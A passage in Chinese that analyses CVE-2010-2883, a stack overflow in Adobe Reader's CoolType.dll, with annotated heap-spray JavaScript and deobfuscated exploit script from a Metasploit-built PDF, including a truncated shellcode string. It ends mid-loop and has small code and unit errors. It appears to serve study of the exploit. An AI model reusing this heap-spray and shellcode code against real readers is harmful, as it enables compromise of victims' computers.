1 漏洞背景
CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的uniqueName项时存在栈溢出漏洞。
1.1 Heap Spray(堆喷)
使用堆喷的时候,会将EIP指向堆区的0x0C0C0C0C位置,然后用JavaScript申请大量内存,用包含着0x90和shellcode的“内存片”覆盖这些内存。
JavaScript会从内存低址向高址分配内存,申请了超过200M的内存。
var nop=unescape(“%u9090%u9090”);
//nop.length返回的是2
//产生一个大小为1MB且全部被0x90填满的内存块
while (nop.length<=0x100000/2)//0x100000是1MB,1MB=1024KB =1024*1024B=0x100000B
{
nop+=nop;
}
//Java会为申请到的内存填上一些额外的信息,为了保证内存片恰好是1MB,需要将额外信息所占空间减去。
nop=nop.substring(0,0x100000/2-32/2-shellcode.length/2-2/2);
var slide=new Arrary();
//用200个nop+shellcode的内存片覆盖堆内存,只要任意一篇nop区能覆盖0x0C0C0C0C,攻击便可以成功。1MB的内存相对于200Bytes的shellcode,可以让exploit拥有足够的稳定性。
for (var i=0;i<200;i++)
{
slide[i]=nop+shellcode;
}
1.2 PDF中的JS
注:使用的pdf是用metasploit生成的cve-2010-2883漏洞利用文档test.pdf
使用PDFStreamDumper查看PDF文件结构。
第11个obj是OpenAction,文件打开时会执行它里边的脚本。
然而第11个obj没有JS脚本,个人推测JS后面跟了个“12 0 R”代表脚本在第12个obj里面。
JS脚本用了很多字符串来混淆,用简单字符代替后得到如下代码:
var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a......' );
var str = unescape("%u0c0c%u0c0c");
while (str.length + 20 + 8 < 65536) //65536 Bytes=64MB
str+=str;
//取从0-1524,1M多一点
str1 = str.substring(0, (0x0c0c-0x24)/2);
str1 += shellcode;
str1 += str;
str2 = str1.substring(0, 65536/2);
while(str2.length < 0x80000)
str2 += str2;
str3 = str2.substring(0, 0x80000 - (0x1020-0x08) / 2);
var str4 = new Array();
for (str5=0;str5